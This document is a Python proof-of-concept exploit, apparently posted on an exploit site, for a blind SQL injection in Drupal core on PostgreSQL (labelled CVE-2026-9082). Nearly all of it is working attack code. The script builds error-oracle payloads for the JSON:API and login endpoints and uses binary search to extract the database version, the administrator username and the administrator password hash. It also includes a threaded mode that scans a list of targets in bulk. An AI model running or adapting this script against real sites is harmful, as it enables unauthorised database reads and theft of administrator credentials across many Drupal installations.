📄 Drupal Core 11.3.9 Anonymous Blind SQL Injection

#!/usr/bin/env python3
    """
    CVE-2026-9082 - Drupal core anonymous SQL injection (SA-CORE-2026-004), PostgreSQL only
    Affected: Drupal core 8.9.0-10.4.9, 10.5.0-10.5.9, 10.6.0-10.6.8, 11.0.0-11.1.9,
              11.2.0-11.2.11, 11.3.0-11.3.9 - PostgreSQL database backends only.
    Type: SQL injection (blind, error-oracle)
    
    Root cause:
      Drupal\\pgsql\\EntityQuery\\Condition::translateCondition() builds a PDO placeholder
      name by concatenating an attacker-controlled PHP array key straight into a raw SQL
      fragment ("LOWER(:" . $where_prefix . $key . "),"). PDO's placeholder parser stops at
      the first non-identifier byte, so everything the attacker writes after that byte is
      emitted as literal SQL and executed by PostgreSQL. The pgsql driver runs with emulated
      prepares, so a surplus bound argument is silently ignored - which is why a payload that
      pairs a clean key "0" with an injected key "0<sql>" runs cleanly and turns the injected
      SQL predicate into an HTTP status oracle.
    
    The oracle:
      Injected array key = 0 || 1/(CASE WHEN (<predicate>) THEN 0 ELSE 1 END)
        predicate TRUE  -> divisor 0 -> PostgreSQL 22012 division_by_zero -> HTTP 500
        predicate FALSE -> divisor 1 -> clean evaluation                  -> HTTP 200
      One controlled bit per request. No reflected output, no UNION: this is a pure blind
      error oracle, so extraction is by binary search over ascii(substr(...)).
    
    Two anonymous entry points (both reach the same translator):
      B (default, no rate limit): GET /jsonapi/node/article?filter[a][condition][path]=title
         &filter[a][condition][operator]=IN&filter[a][condition][value][0]=x
         &filter[a][condition][value][<injected-key>]=x           -> 500 true / 200 false
      A (default install, no JSON:API, flood-limited to 50/hour/IP):
         POST /user/login?_format=json  {"name":{"0":"x","<injected-key>":"x"},"pass":"x"}
                                                                  -> 500 true / 400 false
    
    Usage:
      python exploit.py --host 127.0.0.1 --port 8180
      python exploit.py --host http://target.com
      python exploit.py --host https://drupal.corp:8443/jsonapi/node/article
      python exploit.py --host 127.0.0.1 --port 8180 --payload "current_user='drupal'"
      python exploit.py --host 127.0.0.1 --port 8180 --login-proof
      python exploit.py --list targets.txt --workers 20
    
    Note on --payload: the generic union-style default ("' OR '1'='1'--") is meaningless for a
    blind error oracle, so for this CVE --payload is a PostgreSQL boolean predicate that is
    evaluated through the oracle and reported as TRUE/FALSE. It defaults to a harmless "1=1"
    tautology. It must not contain '[' or ']' (see the JSON:API encoding quirk below).
    """
    
    import argparse
    import json
    import sys
    import threading
    from urllib.parse import urlparse, quote
    
    try:
        import requests
        from requests.packages.urllib3.exceptions import InsecureRequestWarning
        requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
    except Exception:
        print("This exploit requires the 'requests' library (pip install requests).")
        sys.exit(2)
    
    CVE_ID    = "CVE-2026-9082"
    VULN_TYPE = "SQLi"
    
    HTTP_TIMEOUT = 20
    # Subqueries used for the terminal-evidence extraction. Any of these can be swapped for an
    # arbitrary read against the site database - the injection grants full read access.
    SUB_VERSION    = "version()"
    SUB_ADMIN_NAME = "(SELECT name FROM users_field_data WHERE uid=1)"
    SUB_ADMIN_PASS = "(SELECT pass FROM users_field_data WHERE uid=1)"
    
    
    def header(host, port):
        print("\n" + "=" * 60)
        print("  ALIM EXPLOIT  " + CVE_ID)
        print("  Type: " + VULN_TYPE + "  |  Target: " + str(host) + ":" + str(port))
        print("=" * 60 + "\n")
    
    
    def step(n, msg):
        print("[STEP " + str(n) + "] " + msg)
    
    
    def section(label, content):
        print("\n--- " + label + " ---")
        print(str(content).strip())
        print("---\n")
    
    
    def done(success, evidence):
        print("\n" + "=" * 60)
        print("  RESULT  : " + ("SUCCESS" if success else "FAILURE"))
        print("  EVIDENCE: " + evidence)
        print("=" * 60 + "\n")
        sys.exit(0 if success else 1)
    
    
    class OracleError(Exception):
        """The oracle produced neither a clean 500 (true) nor a clean 200 (false)."""
    
    
    # --------------------------------------------------------------------------------------
    # Payload construction
    # --------------------------------------------------------------------------------------
    
    def _injected_key(predicate):
        """Raw (un-encoded) injected array key for the given boolean SQL predicate.
    
        Begins with '0' so its emitted placeholder token collapses onto the same :<prefix>0
        that the clean key binds, then '||' concatenation into a divide-by-CASE that raises
        division_by_zero exactly when the predicate is true.
        """
        return "0||1/(CASE WHEN (" + predicate + ") THEN 0 ELSE 1 END)"
    
    
    def _jsonapi_url(base_url, predicate):
        """Full JSON:API request URL for one oracle probe.
    
        Structural filter[...] brackets are left raw; the injected key is fully percent-encoded
        so requests transmits it verbatim (the payload must not contain '[' or ']', which PHP's
        query parser would treat as sub-key delimiters).
        """
        key = quote(_injected_key(predicate), safe="")
        qs = (
            "filter[a][condition][path]=title"
            "&filter[a][condition][operator]=IN"
            "&filter[a][condition][value][0]=x"
            "&filter[a][condition][value][" + key + "]=x"
        )
        sep = "&" if ("?" in base_url) else "?"
        return base_url + sep + qs
    
    
    def _login_body(predicate):
        """JSON body for the /user/login oracle. Here '[' and ']' are safe (JSON object key)."""
        return json.dumps({"name": {"0": "x", _injected_key(predicate): "x"}, "pass": "x"})
    
    
    # --------------------------------------------------------------------------------------
    # Oracle
    # --------------------------------------------------------------------------------------
    
    def _oracle_jsonapi(session, base_url, predicate):
        """Return True if predicate is TRUE (HTTP 500), False if FALSE (HTTP 200).
    
        Any other status is ambiguous (patched target, HY093 from a malformed predicate,
        non-PostgreSQL backend) and raises OracleError.
        """
        r = session.get(_jsonapi_url(base_url, predicate), timeout=HTTP_TIMEOUT, verify=False)
        if r.status_code == 500:
            return True
        if r.status_code == 200:
            return False
        raise OracleError("unexpected status " + str(r.status_code) + " for predicate: " + predicate)
    
    
    def _oracle_login(session, login_url, predicate):
        """Login-endpoint oracle: 500 true, 400 false. Flood-limited - use sparingly."""
        r = session.post(
            login_url,
            data=_login_body(predicate),
            headers={"Content-Type": "application/json"},
            timeout=HTTP_TIMEOUT,
            verify=False,
        )
        if r.status_code == 500:
            return True
        if r.status_code == 400:
            return False
        if r.status_code in (403, 429):
            raise OracleError("flood control engaged (HTTP " + str(r.status_code) + ")")
        raise OracleError("unexpected login status " + str(r.status_code))
    
    
    def _confirm_oracle(oracle_fn):
        """Prove the oracle diverges before trusting it. Returns (ok, detail)."""
        try:
            t_true = oracle_fn("1=1")
            t_false = oracle_fn("1=0")
        except OracleError as e:
            return False, str(e)
        if t_true and not t_false:
            return True, "1=1 -> true / 1=0 -> false"
        if t_true and t_false:
            return False, "both predicates true (likely HY093 - missing clean key, not an oracle)"
        return False, "no divergence (patched, non-PostgreSQL, or case-sensitive field)"
    
    
    # --------------------------------------------------------------------------------------
    # Blind extraction (binary search over the error oracle)
    # --------------------------------------------------------------------------------------
    
    def _extract_length(oracle_fn, subquery, max_len=256):
        """Length of subquery result via binary search on length((sub)) > k."""
        lo, hi = 0, max_len
        while lo < hi:
            mid = (lo + hi) // 2
            if oracle_fn("length(" + subquery + ") > " + str(mid)):
                lo = mid + 1
            else:
                hi = mid
        return lo
    
    
    def _extract_char(oracle_fn, subquery, pos):
        """Byte value at 1-based position pos via binary search on ascii(substr(...)) > k."""
        lo, hi = 0, 127
        while lo < hi:
            mid = (lo + hi) // 2
            pred = "ascii(substr(" + subquery + "," + str(pos) + ",1)) > " + str(mid)
            if oracle_fn(pred):
                lo = mid + 1
            else:
                hi = mid
        return lo
    
    
    def _extract_string(make_oracle, subquery, workers=8, max_len=256, progress=None):
        """Extract a full string. make_oracle() must return a fresh (thread-safe-per-thread)
        oracle callable; each worker thread gets its own so a single requests.Session is never
        shared across threads."""
        length_oracle = make_oracle()
        n = _extract_length(length_oracle, subquery, max_len=max_len)
        if n <= 0:
            return ""
        chars = [None] * n
    
        local = threading.local()
    
        def worker(pos):
            oc = getattr(local, "oracle", None)
            if oc is None:
                oc = make_oracle()
                local.oracle = oc
            chars[pos - 1] = chr(_extract_char(oc, subquery, pos))
            if progress:
                progress(pos, n)
    
        import concurrent.futures
        with concurrent.futures.ThreadPoolExecutor(max_workers=max(1, workers)) as ex:
            list(ex.map(worker, range(1, n + 1)))
        return "".join("?" if c is None else c for c in chars)
    
    
    # --------------------------------------------------------------------------------------
    # Target base-URL assembly
    # --------------------------------------------------------------------------------------
    
    def _base_url(host, port, use_tls, path):
        scheme = "https" if use_tls else "http"
        if not path or path in ("", "/"):
            path = "/jsonapi/node/article"
        default = 443 if use_tls else 80
        netloc = host if port == default else host + ":" + str(port)
        return scheme + "://" + netloc + path
    
    
    def _login_url_from_base(host, port, use_tls):
        scheme = "https" if use_tls else "http"
        default = 443 if use_tls else 80
        netloc = host if port == default else host + ":" + str(port)
        return scheme + "://" + netloc + "/user/login?_format=json"
    
    
    # --------------------------------------------------------------------------------------
    # Silent probe for --list scan mode
    # --------------------------------------------------------------------------------------
    
    def _try_exploit(host, port, use_tls=False, path="/jsonapi/node/article", **kwargs):
        """Silent probe. Returns (success, evidence). Never prints, never exits."""
        base = _base_url(host, port, use_tls, path)
        try:
            session = requests.Session()
    
            def oracle_fn(pred):
                return _oracle_jsonapi(session, base, pred)
    
            ok, detail = _confirm_oracle(oracle_fn)
            if not ok:
                return False, detail
            # Strong, bounded proof: pull the admin username (short) over the oracle.
            name = _extract_string(
                lambda: (lambda p: _oracle_jsonapi(requests.Session(), base, p)),
                SUB_ADMIN_NAME,
                workers=kwargs.get("workers", 8),
                max_len=64,
            )
            return True, "SQLi confirmed - admin (uid=1) name: '" + name + "'"
        except OracleError as e:
            return False, "no oracle (" + str(e) + ")"
        except Exception as e:
            return False, "unreachable (" + e.__class__.__name__ + ")"
    
    
    def _parse_target(line, default_port, default_path="/jsonapi/node/article"):
        """One target line -> (host, port, use_tls, path), or None to skip."""
        line = line.strip()
        if not line or line.startswith("#"):
            return None
        if line.startswith(("http://", "https://")):
            p = urlparse(line)
            tls = p.scheme == "https"
            path = p.path if (p.path and p.path not in ("", "/")) else default_path
            return p.hostname, p.port or (443 if tls else default_port), tls, path
        if ":" in line:
            parts = line.rsplit(":", 1)
            try:
                port = int(parts[1])
                return parts[0], port, port in (443, 8443), default_path
            except ValueError:
                pass
        return line, default_port, default_port in (443, 8443), default_path
    
    
    def scan(targets_file, default_port, workers=10):
        import concurrent.futures
    
        with open(targets_file) as f:
            targets = [_parse_target(l, default_port) for l in f]
        targets = [t for t in targets if t is not None]
    
        print("\n" + "=" * 60)
        print("  " + CVE_ID + " - Batch Scan  (" + str(len(targets)) + " targets, "
              + str(workers) + " workers)")
        print("=" * 60 + "\n")
    
        success_count = 0
    
        def probe(t):
            host, port, use_tls, path = t
            label = ("https" if use_tls else "http") + "://" + str(host) + ":" + str(port)
            ok, evidence = _try_exploit(host, port, use_tls, path, workers=4)
            return label, ok, evidence
    
        with concurrent.futures.ThreadPoolExecutor(max_workers=workers) as ex:
            futures = {ex.submit(probe, t): t for t in targets}
            for fut in concurrent.futures.as_completed(futures):
                label, ok, evidence = fut.result()
                print("  " + ("[+]" if ok else "[-]") + " " + label + " - "
                      + ("Exploited" if ok else "Not vulnerable") + ": " + evidence)
                if ok:
                    success_count += 1
    
        total = len(targets)
        print("\n" + "=" * 60)
        print("  SCAN COMPLETE  " + str(success_count) + " exploited / "
              + str(total - success_count) + " not vulnerable  (" + str(total) + " total)")
        print("=" * 60 + "\n")
        sys.exit(0 if success_count > 0 else 1)
    
    
    # --------------------------------------------------------------------------------------
    # Single-target exploit
    # --------------------------------------------------------------------------------------
    
    def _login_proof(host, port, use_tls):
        """Entry point A: prove reachability on a default install with no JSON:API.
    
        Spends exactly two of the 50-per-hour flood budget probes (1=1 then 1=0)."""
        login_url = _login_url_from_base(host, port, use_tls)
        session = requests.Session()
    
        def oracle_fn(pred):
            return _oracle_login(session, login_url, pred)
    
        step(5, "Entry point A proof: POST /user/login?_format=json (no JSON:API needed)")
        try:
            ok, detail = _confirm_oracle(oracle_fn)
        except OracleError as e:
            section("LOGIN ORACLE", "could not confirm: " + str(e))
            return
        if ok:
            section("LOGIN ORACLE",
                    "500 for a true predicate, 400 for a false one (" + detail + ")\n"
                    "Same translator reached anonymously with NO JSON:API module enabled.\n"
                    "Note: flood control caps this endpoint at 50 failed logins/hour/IP.")
        else:
            section("LOGIN ORACLE", "no divergence on /user/login: " + detail)
    
    
    def exploit(host, port, use_tls, payload, do_login_proof=False, workers=8):
        header(host, port)
        base = _base_url(host, port, use_tls, "/jsonapi/node/article")
        session = requests.Session()
    
        def oracle_fn(pred):
            return _oracle_jsonapi(session, base, pred)
    
        def make_oracle():
            s = requests.Session()
            return lambda p: _oracle_jsonapi(s, base, p)
    
        step(1, "Confirming the error oracle at " + base)
        ok, detail = _confirm_oracle(oracle_fn)
        if not ok:
            section("ORACLE CHECK", detail)
            done(False, "No usable oracle - target is patched, not PostgreSQL-backed, "
                        "or the endpoint is unreachable (" + detail + ")")
        section("ORACLE CONFIRMED",
                "true predicate -> HTTP 500 (division_by_zero), false predicate -> HTTP 200\n"
                + detail)
    
        step(2, "Fingerprinting the database backend via version()")
        version = _extract_string(make_oracle, SUB_VERSION, workers=workers, max_len=256,
                                  progress=None)
        section("DATABASE VERSION", version)
    
        step(3, "Extracting administrator account name (users_field_data, uid=1)")
        admin_name = _extract_string(make_oracle, SUB_ADMIN_NAME, workers=workers, max_len=64)
        section("ADMIN USERNAME (uid=1)", admin_name)
    
        step(4, "Extracting administrator password hash (users_field_data.pass, uid=1)")
        admin_hash = _extract_string(make_oracle, SUB_ADMIN_PASS, workers=workers, max_len=256)
        section("ADMIN PASSWORD HASH (uid=1)", admin_hash)
    
        # Optional user-supplied boolean predicate, evaluated through the same oracle.
        if payload and payload not in ("1=1",):
            step(4, "Evaluating user --payload predicate through the oracle")
            try:
                verdict = oracle_fn(payload)
                section("PAYLOAD PREDICATE", "( " + payload + " )  ->  "
                        + ("TRUE" if verdict else "FALSE"))
            except OracleError as e:
                section("PAYLOAD PREDICATE",
                        "( " + payload + " )  ->  ambiguous (" + str(e)
                        + "); ensure it is a valid boolean predicate with no [ or ]")
    
        if do_login_proof:
            _login_proof(host, port, use_tls)
    
        is_pg = version.lower().startswith("postgresql")
        got_hash = bool(admin_hash) and admin_hash.startswith("$")
        if is_pg and admin_name and got_hash:
            done(True, "Blind SQLi confirmed - backend '" + version.split(" on ")[0]
                 + "', admin (uid=1) '" + admin_name + "', hash '" + admin_hash[:16] + "...'")
        if admin_name or version:
            done(True, "Blind SQLi confirmed - extracted version='" + version
                 + "', admin_name='" + admin_name + "', hash='" + admin_hash + "'")
        done(False, "Oracle diverged but extraction returned nothing - investigate manually")
    
    
    if __name__ == "__main__":
        parser = argparse.ArgumentParser(description=CVE_ID + " exploit PoC")
        target_grp = parser.add_mutually_exclusive_group(required=True)
        target_grp.add_argument("--host", help="Target: hostname, IP, or full URL "
                                                "(e.g. https://host:8443/jsonapi/node/article)")
        target_grp.add_argument("--list", metavar="FILE",
                                help="File with one target per line for batch scan")
        parser.add_argument("--port", type=int, default=80, help="Default port (default: 80)")
        parser.add_argument("--payload", default="1=1",
                            help="PostgreSQL boolean predicate evaluated through the oracle "
                                 "(no '[' or ']'). Default: 1=1")
        parser.add_argument("--workers", type=int, default=8,
                            help="Threads for extraction / --list mode (default: 8)")
        parser.add_argument("--login-proof", action="store_true",
                            help="Also prove entry point A (POST /user/login), flood-limited")
        tls_grp = parser.add_mutually_exclusive_group()
        tls_grp.add_argument("--tls", action="store_true", help="Force TLS")
        tls_grp.add_argument("--no-tls", action="store_true", help="Force plaintext")
        args = parser.parse_args()
    
        if args.list:
            scan(args.list, default_port=args.port, workers=args.workers)
        else:
            parsed = _parse_target(args.host, args.port)
            host, port, use_tls, _ = parsed if parsed else (args.host, args.port, False, "/")
            if args.tls:
                use_tls = True
            if args.no_tls:
                use_tls = False
            exploit(host, port, use_tls, args.payload,
                    do_login_proof=args.login_proof, workers=args.workers)